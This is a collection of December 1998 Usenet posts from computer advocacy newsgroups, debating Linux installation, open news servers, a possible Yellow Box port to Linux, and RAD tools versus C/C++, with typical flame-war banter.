" Don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: Psylocke@xavier.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Mon, 07 Dec 1998 12:41:42 GMT
Content-Transfer-Encoding: 7bit
References: <3669CB9E.MD-0.198.tb7@inquo.net>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <366bcc63.62862541@news.earthlink.net>
>> I'm not really up on Linux, but I've heard Red Hat is much easier
>> than previous flavors of Linux to install.
>
>
Redhat 5.1/5.2 comes with a very good installer. Any Amiga user is
more skilled than the average Wintel zombie, and would certainly have
no trouble installing or setting up Linux, contrary to remarks from
jackasses like David Corn.
You can be running in around 15-20 minutes. In fact, Redhat does a far
better job of detecting devices/peripherals than Windoze does.
*********************************************************************************
Alpha 21164..Making good on Intel's promises for the Future TODAY
TOOOOOOO a Gigaherz and BEYOND!!!!
*********************************************************************************
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: nntp server
Date: 7 Dec 1998 21:30:24 GMT
Organization: Spacelab.net Internet Access
Message-ID: <74hhdg$kt6$1@news.spacelab.net>
References: <74h647$uuk$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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josborn@depauw.edu wrote:
> Is there a public nntp server out there in the world that I can use news
> grazer with; dejanews is driving me crazy.
Sure-- there's always another clueless news admin bringing up an open news
server. The length of time they stay open is inversely proportional to how
well known that server becomes.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 21:46:17 GMT
Organization: MiscKit Development
Message-ID: <74hib9$btn$2@news.xmission.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost> <74fbec$ouk@news1.panix.com> <74fk39$omi$1@cronkite.cs.umd.edu>
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NNTP-Posting-Date: 7 Dec 1998 21:46:17 GMT
seanl@cs.umd.edu (Sean Luke) wrote:
> You recall somewhat incorrectly. Here's the rundown on various dead
> frameworks:
>
>[...]
> 3DKit Don Yacktman and Darcy Brockbank petitioned NeXT
> and got them to make the binary libraries
> available. But source is *not* available for
> general public. A few chosen MiscKit workers are
> permitted to tinker with it, under specific
> agreements. Not open source.
> IndexingKit Same as 3DKit. Digital Librarian not available.
I would however mention that, off the record, it isn't very hard to become
"chosen". The process is very self-selecting. :-)
There is still that awful NDA, though, and I wish there were a way to get rid
of it and make both kits open source--we'd have a much better chance of
getting some useful work done if more people were tinkering with the code.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: azid@technologist.com (head)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Tue, 08 Dec 1998 00:30:44 +0100
Organization: azid
Message-ID: <azid-0812980030440001@ti01a21-0066.dialup.online.no>
References: <F6Ga2.2212$I04.42486@typhoon-sf.snfc21.pbi.net> <B291B280-F8CE@206.165.43.220>
NNTP-Posting-Date: 7 Dec 1998 23:30:34 GMT
Mail-Copies-To: never
In article <B291B280-F8CE@206.165.43.220>, "Lawson English"
<english@primenet.com> wrote:
> Well, *I* take it seriously because I'm a serious nutcase.
me too
--
animam animam Dixi et salvani animam animam
animam meam<azid@technologist.com>animam meam
animam animam Dixi et salvani animam animam
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 7 Dec 98 16:27:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B291B280-F8CE@206.165.43.220>
References: <F6Ga2.2212$I04.42486@typhoon-sf.snfc21.pbi.net>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
William Edward Woody <woody@alumni.caltech.edu> said:
>
>(Who can't believe how seriously some people take this...)
Well, *I* take it seriously because I'm a serious nutcase.
I can't tell you why *others* take it seriously...
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Tim Conkling <conkling@mint.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Mon, 07 Dec 1998 19:13:07 -0500
Organization: =?iso-8859-1?Q?Vaporware=99?=
Message-ID: <366C6F0F.1BD383B5@mint.net>
References: <749sn9$4m6$1@nnrp1.dejanews.com> <B28EF5FE-25285@206.165.43.151> <74e6nc$fub$1@nnrp1.dejanews.com> <heaney-0612981217220001@24.0.246.137>
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Some people might be driven away by the thread by I feel compelled to read it
every day. Even though I don't understand much of the technical stuff being
discussed, the thread itself is so humorous that I can't resist =)
John Heaney wrote:
> In article <74e6nc$fub$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
>
> > You've been yammering on about how wonderful GX is because it supports
> > "pseudo"-3D text for almost two years now -- polluting this newsgroup to the
> > extent that a number of people have left solely because of the detritus from
> > your posts (yes I have heard directly from several people who have said
> > this).
>
> If you feel these threads "pollute" this newsgroup then you should stop
> contibuting to them. This thread is not a monologue by Lawson. All it
> takes is for you (all) to let him have the last word and the thread will
> end. It is quite clear that arguing with him will not cause him to stop,
> if that is your goal.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 19:01:27 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366C7A67.6CD891C@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <Macghod-0712981615150001@sdn-ar-001casbarp310.dialsprint.net>
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Steve wrote:
>
> In article <366C5B06.41F8EA24@ericsson.com>, Michael Peck
> <michael.peck@ericsson.com> wrote:
>
> > "I need to make this change to the code."
> >
> > "Okay, write a business case, then fix the code."
> >
> > "No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
> >
> > "Okay, now just get me that business case and we'll be all set."
>
> Is this life imitating Dilbert, or did you just take this from Dilbert?
I've never seen that Dilbert, if it was one. I've seen it happen at
unnamed employers at least twice.
MJP
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: cancel
Control: cancel <74hg0f$q28$1@crib.corepower.com>
Date: 7 Dec 1998 16:07:52 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74hg39$q2g$1@crib.corepower.com>
NNTP-Posting-Date: 7 Dec 1998 21:08:23 GMT
<74hg0f$q28$1@crib.corepower.com> was cancelled from within trn.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 23:27:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ho9a$fp3$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net>
In article <366C14A2.183CC45@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> To satisfy Apple's investors, who have every right to demand that Apple spend
>> it's resources (ie, their money) wisely. Privately held companies have more
>> freedom to do something just for the heck of it.
>
> Chuck, you could probably tell me how much such an engineer would make.
> Can you estimate the cost of two man-years of work from a senior
> engineer with ten years of experience?
Sure.
> Now add in the cost of paying and supporting the MBA intern. Add in
> machines, development tools, and administrative overhead.
$400,000, give or take.
> Then tell me whether that amount of money would ever make it to the
> minutes of a shareholder's meeting. Yes? No? Somehow I rather doubt it.
Whether that amount of money makes it to a shareholder's meeting is
irrelevant, but I'd imagine you knew that already.
>> The guy's manager has to justify why this engineer is going to be spending
>> the next two years working on a YB Linux port, rather than on something else.
>
> Of course. So what?
So he needs a business case to demonstrate to his superiors why spending those
resources on a YB port for Linux is better than spending them elsewhere.
[ ... ]
> Again, so what? You're adding requirements onto the projects in order to
> make it seem larger. Nothing new, budgets have been inflated by
> engineers for many years. I still don't understand how your new
> requirements reflect on the original feasability of a Linux port.
If you're simply asking about the technical feasibility of such a port,
obviously it's entirely possible. As soon as you move to questions like "why
doesn't Apple do YB for Linux?", then you have to deal with a lot more
considerations.
[ ... ]
>>> Huh? This is a port of YB to Linux. What will they run if not Linux?
>>
>> Read the question again.
>
> Ahhh! You mean to say, "How many people will use YB/Linux instead of Mac
> OS X Server for Intel because they insist on running Linux".
Not exactly-- I said what I meant.
> Reread the answer. If they "insist" on running Linux, they wouldn't run
> Mac OS X Server anyway, now would they?
Of course.
And, for the (n + 1)'th time, just how many people are going to insist on
running Linux instead of MOXS? Can you point to some company and have them
claim they'd want to deploy 100 YB seats on Linux but refuse to get MOXS?
> Not sure what you're trying to say. No matter what, Apple *gains* customers.
Just like Apple would gain customers making a YB port for _any_ platform you
care to name. Why wouldn't Apple port YB to every platform under the sun,
from Cray YMP's, SGI's, DEC VACen, or even Apple ]['s?
What's the most fundamental principle of economics?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 23:54:05 GMT
Organization: Airnews.net! at Internet America
Message-ID: <ACAFBFEB93897E9F.CD2A2093D177C357.EB31D04CAFD4416B@library-proxy.airnews.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com> <74blaq$eqt$1@nnrp03.primenet.com> <912919429.773189@optional.cts.com> <74d5hf$tdf$1@your.mother.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Mon Dec 7 17:44:03 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Sat, 5 Dec 1998 21:23:07 -0800, "Todd Heberlein (todd at NetSQ dot
com)" <todd@dev.null> wrote:
>Tony Minkoff wrote
>>Is Adobe's intransigence really threatening the fate of OS X Server?
>>Maybe Apple needs to pull out the big guns.
>>
>>Apple has $2 billion in cash.
>>
>>Adobe's market capitalization is under $3 billion.
>
>
>Its kind of funny that Apple has $2 billion in cash but only has a
>market value of $4.5 billion. It has a price/earnings ratio of 16,
>compared to 31 for Adobe, 69 for Dell, and 200 for Pixar!
>
>Apple finally has a good consumer model which is selling well, an OS
>(8.5) which is well received, and solid products (MacOS X and Yosemite)
>in the pipeline.
>
>Smells to me like Apple could be a potential take over target.
Very much so, for a number of reasons.
Three companies come to mind that would have the most to benefit from
buying Apple--HP, Sun and Dell.
1.HP...it's chief recently was quoted as saying that the PC age was
done. What better way to usher in the "new age" than to gobble up
Apple, spin off the software side and use the hardware side to create
next generation StrongARM based Internet Appliances? (That's keep
Intel happy.)
2. Sun...obvious. They tried once, they could try again. They'd be a
great match. And if Sun were to ultimately take control of Netscape's
browser goodies, then M$ would _really_ have something to worry about.
3. Dell. This one is more iffy. Dell and Apple's corporate culture
couldn't be more different...but with hardware prices plunging Dell
needs new ways of getting into people homes (I know they're mostly
corporate people but once the average PC hovers around $500 any
consumer sales they may have had will simply vanish.) Buying Apple,
spinning off the software side and moving all the hardware people to
Texas would help them a great deal.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 23:55:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74hpt9$h79$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com>
In article <366C2F0D.7D2F461E@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
> Nathan Urban wrote:
[ ... ]
>> Problems arise when people try to use their prototypes as the finished
>> product, which is _not_ what RAD is for. RAD is a tool, and like any
>> tool it can be misused. That does not imply that it can't be put to
>> very good use when in good hands.
>
> Again, this is exactly the point. I don't know where you work. Everyone
> ships the prototype!
I have to disagree. Out of the half-dozen companies I've been a full-time
employee with, two of them have done prototypes which were thrown away
_completely_.
> No software company can afford to write a quick demonstration of technology
> and then write it correctly. I know no management structure that allows this.
> Every company I have been in, and all the developers I know have had the same
> experience.
Sounds like you could benefit from reading "Code Complete" and the "Software
Project Survival Guide".
> Besides, if you can't capitalize on the time used to make the prototype, then
> you have wasted your money.
Not true. I've worked at companies where the client understood what
technology evaluation was for, and was willing to pay for prototypes to be
written and thrown away so that they could be assured that the actual project
would use technologies that work.
Just last week, we were showing a new client the level of project management
we perform by going over use-case scenarios, documentation, specs, and the
like. He was favorably impressed by the level of detail and completeness, and
asked us how well the project had gone off. What stunned the guy was our
response, which was "we haven't written any code yet". :-)
If you can't take your materials and give them to a third party and have them
be able to successfully implement the project without further information, you
aren't ready to start coding the project yourself. Real project management
doesn't guarantee success, but you're a heck of a lot more likely to meet your
deliverables, on time, on budget. You're also a lot more likely to have a
customer who wants to do business with you again.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net> <slrn76m8ja.h4.davecook@sputnik.escnd1.sdca.home.com> <366C052A.B0F221D8@nstar.net>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com>
Date: Tue, 08 Dec 1998 00:06:54 GMT
NNTP-Posting-Date: Mon, 07 Dec 1998 16:06:54 PDT
On Mon, 07 Dec 1998 10:41:14 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>> I other words you have nothing of substance to say.
>Ah, the Pee-Wee Herman defense.
>[hands over ears, shouting] I can't hear you! I can't hear you!
>Very good, carry on.
The idea was that you would reply with something backing up your vague
expression of contempt (I assume for GNOME, but even that is not clear).
Why, I might even agree with some of your points, whatever they might be.
Instead we get silly banter-flame (thank you to whoever invented that
phrase.) So, again, you have nothing of substance to say.
Dave Cook
From: Macghod@concentric.net (Steve)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 16:15:15 -0800
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com>
Organization: Concentric
Message-ID: <Macghod-0712981615150001@sdn-ar-001casbarp310.dialsprint.net>
In article <366C5B06.41F8EA24@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
> "I need to make this change to the code."
>
> "Okay, write a business case, then fix the code."
>
> "No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
>
> "Okay, now just get me that business case and we'll be all set."
Is this life imitating Dilbert, or did you just take this from Dilbert?
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 00:54:42 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74htci$jm$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com>
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In article <74h049$p8f$1@nnrp1.dejanews.com> Charles Swiger,
chuck@codefab.com writes:
>Yeah, and it also has a development community that, for the most part, has
>never worked on a large project, and have no idea why writing 10,000 lines of
>code is more difficult than writing ten 1000 LOC projects.
>
>In case you don't get this point, can you name, specificly, a medium to large
>project written in VB that was delivered on-time, on-budget, and successfully
>fulfilled the original requirements?
Let's skip the general insults.
I'm working on a ~10K LOC ap in VB, and things are going fine.
I've already said I think YB is a better designed environment.
MC
From: luomat@peak.org.obvious.portion (TjL)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: nntp server
Organization: would be nice
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <74h647$uuk$1@nnrp1.dejanews.com>
Message-ID: <JR_a2.237$o44.630613@newshog.newsread.com>
Date: Tue, 08 Dec 1998 00:59:21 GMT
NNTP-Posting-Date: Mon, 07 Dec 1998 19:59:21 EDT
In <74h647$uuk$1@nnrp1.dejanews.com> josborn@depauw.edu wrote:
> Is there a public nntp server out there in the world that I can use news
> grazer with; dejanews is driving me crazy.
There are.
There are lists of them around... I can't seem to find the email I had
describing them... but a search engine on 'open nntp server' might help
Most of them are terribly slow, however.
TjL
--
Spam-altered address in effect, remove obvious portion if
replying by email.
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 20:15:05 -0500
Organization: Mohawk Software
Message-ID: <366C7D99.61DB722E@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com>
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Michael Peck wrote:
>
> Charles Swiger wrote:
>
> [cut]
>
> > In case you don't get this point, can you name, specificly, a medium to large
> > project written in VB that was delivered on-time, on-budget, and successfully
> > fulfilled the original requirements?
>
> And...the list of C++ projects that have fulfilled this expectation?
>
> I don't think so.
It may sound presumptuous, but, I have delivered several projects on
time and under budget with C/C++.
DCS 2.0, Bancware
Windows NT/95 Kernel mode device driver library, Keithley Metrabyte
Windows NT 4.0 Multiheaded video device driver.
SQL/DICOM/Web Medical PACS system.
An interresting note: The PACS system, unfortunately, was coupled with
an ActiveX/VB control for Internet explorer. At the start of the
project, they claimed that their RAD development project would make it
possible for them to get done a lot faster than us neanderthal C/C++
guys. Well, ours took the 4 months we said it would (We even ported the
server to Linux, after completing the NT version). They said 6 months,
it is now two years in to it and their still not done. I laugh out loud.
What, exactly, is RAD about 300% out of schedule?
We even had time to develop server side processing of images. Rather
than depend on an ActiveX/VB control that would probably never work, we
write a CGI program to format and produce the images correctly in normal
jpeg.
At a recent dog and pony show, the stuff done in C/C++ worked
flawlessly, the VB/ActiveX stuff had guys working on a plane on the way
down. The best part of the demo was the stuff that was written without
VB/ActiveX.
No thanks, I'll stick to C/C++.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
Date: Mon, 07 Dec 1998 20:13:19 -0500
From: smileyy@esm-software.com (Andrew McCormick)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <smileyy-0712982013190001@209.50.122.242>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com>
Organization: DeadHorse Productions
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <74ho9a$fp3$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
>Just like Apple would gain customers making a YB port for _any_ platform you
>care to name. Why wouldn't Apple port YB to every platform under the sun,
>from Cray YMP's, SGI's, DEC VACen, or even Apple ]['s?
Well, the nice idea would be:
More target platforms for YB -> more developers of software for YB -> more
software availability for Mac OS -> more Apple boxes sold.
Whether it would work out? Who knows.
Andrew McCormick
--
smileyy@esm-software.com
From: "Alex Molochnikov" <alex@gestalt.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 7 Dec 1998 14:25:59 -0700
Organization: Canada Connect Corp.
Message-ID: <74hh4a$9fi$1@cleavage.canuck.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com>
Matthew Cromer wrote:
> ...there are at least 3.5 million GUI/RAD/4GL developers, an order of
magnitude more than low level coders, and we would love to be able to use
opensource, crossplatform tools instead of proprietary, single-platform,
closed-source, buggy tools.
Nathan Urban already gave you a first-class overview of the tools and
techniques used in the Yellow world. These tools, however (IB, Objective-C,
OpenStep frameworks etc.) are one level below what you would call a RAD/4GL.
In particular, they do not completely relieve the developer from dealing
with the source code, although they can greatly minimize this need. However,
they lend themselves to creation of such RAD/GUI tools that would otherwise
be impossible to build -- technologically as well as economically.
One such tool is coming to the Yellow Box environment in January. It is
called STEP FORWARD, and it is a development system for RDBMS-centric
applications that creates database schemas, tables, views, input forms, data
processing logic, reports, financial accounting procedures etc. etc. without
forcing the developer to write a single line of code, although this is
possible too through the use of bundles that Nathan mentioned in his
response to you. It is also cross-platform: an app developed with STEP
FORWARD can run in Windows or in Mac OS X Server without being rebuilt.
I do not want to turn this thread into our marketing campaign more than I
already did. If you want to know more, drop me a line or check our web site:
www.stepforward.net or www.gestalt.com.
Alex Molochnikov
Phoenix Data Trend
alex@gestalt.com
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 8 Dec 1998 00:23:30 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <74hri2$a56$1@news01.btx.dtag.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today> <w0byaozcw9q.fsf@mah21awu.YP.sparcm1> <365DB81E.1EA2D9C3@stud.umist.ac.uk> <3667fb5a.4334413@news.demon.co.uk>
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Anthony Ord <nws@rollingthunder.demon.co.uk> wrote:
> On Thu, 26 Nov 1998 20:20:46 +0000, Edward Thomas
> <mcai7et2@stud.umist.ac.uk> wrote:
> <snip>
> >Dum Dee Dum Cray/SGI T3E-1200E
> > 576 Processors
> > 700 Gflop/s peak performance
> > _148_G_B_ Ram
> > 2Tb Disk Storage
> > 125Tb Tape Backup
> >
> >See: http://www.csar.cfs.ac.uk/
> >Its the 7th most powerful computer in the world
> >(http://www.top500.org/top500.list.html)
> >
> >(Ok, so its not strictly speaking mine, but I can ask to use it ;)
> >
> >So do I win yet?
> >
> >(PS. Still runs Win2000 beta like a pig ;)
> What's your frames per second in Quake2?
More important: does it have a floppy?
Lars T.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 19:23:18 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366C7F86.8B3709C5@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> Whether that amount of money makes it to a shareholder's meeting is
> irrelevant, but I'd imagine you knew that already.
Well, you could have saved us the trouble of two postings if you'd just
acknowledged the proper response to "to satisfy paperwork
requirements?". Moving on: does the time spent writing this business
case significantly change the $400,000 number, or do we let it stand
there?
> So he needs a business case to demonstrate to his superiors why spending those
> resources on a YB port for Linux is better than spending them elsewhere.
No...I think you're making a mistake with that. There's no way for the
engineer to know all of the alternative spending ends, nor could he
possibly estimate each one's individual value. That's pretty much up to
the management that reviews his "business case".
The purpose of such a document is to estimate the cost and value of the
project. Management decides whether the value is worth the cost.
> [ ... ]
> > Again, so what? You're adding requirements onto the projects in order to
> > make it seem larger. Nothing new, budgets have been inflated by
> > engineers for many years. I still don't understand how your new
> > requirements reflect on the original feasability of a Linux port.
>
> If you're simply asking about the technical feasibility of such a port,
> obviously it's entirely possible. As soon as you move to questions like "why
> doesn't Apple do YB for Linux?", then you have to deal with a lot more
> considerations.
No, I meant what I said. I didn't say "technical feasibility", I said
"feasibility" [my spelling corrected].
> > Ahhh! You mean to say, "How many people will use YB/Linux instead of Mac
> > OS X Server for Intel because they insist on running Linux".
>
> Not exactly-- I said what I meant.
*sigh*. We're playing f***ing twenty questions, I guess.
> > Reread the answer. If they "insist" on running Linux, they wouldn't run
> > Mac OS X Server anyway, now would they?
>
> Of course.
>
> And, for the (n + 1)'th time,
1 + 1 = 2. How frustrated you must be.
> just how many people are going to insist on
> running Linux instead of MOXS?
My point doesn't involve insistence, although the number you're asking
about is quite large. My point is about availability. Insistence on
Linux usage is but one facet of the attractiveness of a Linux port.
Example: How many people will insist on using Windows NT? Well, quite a
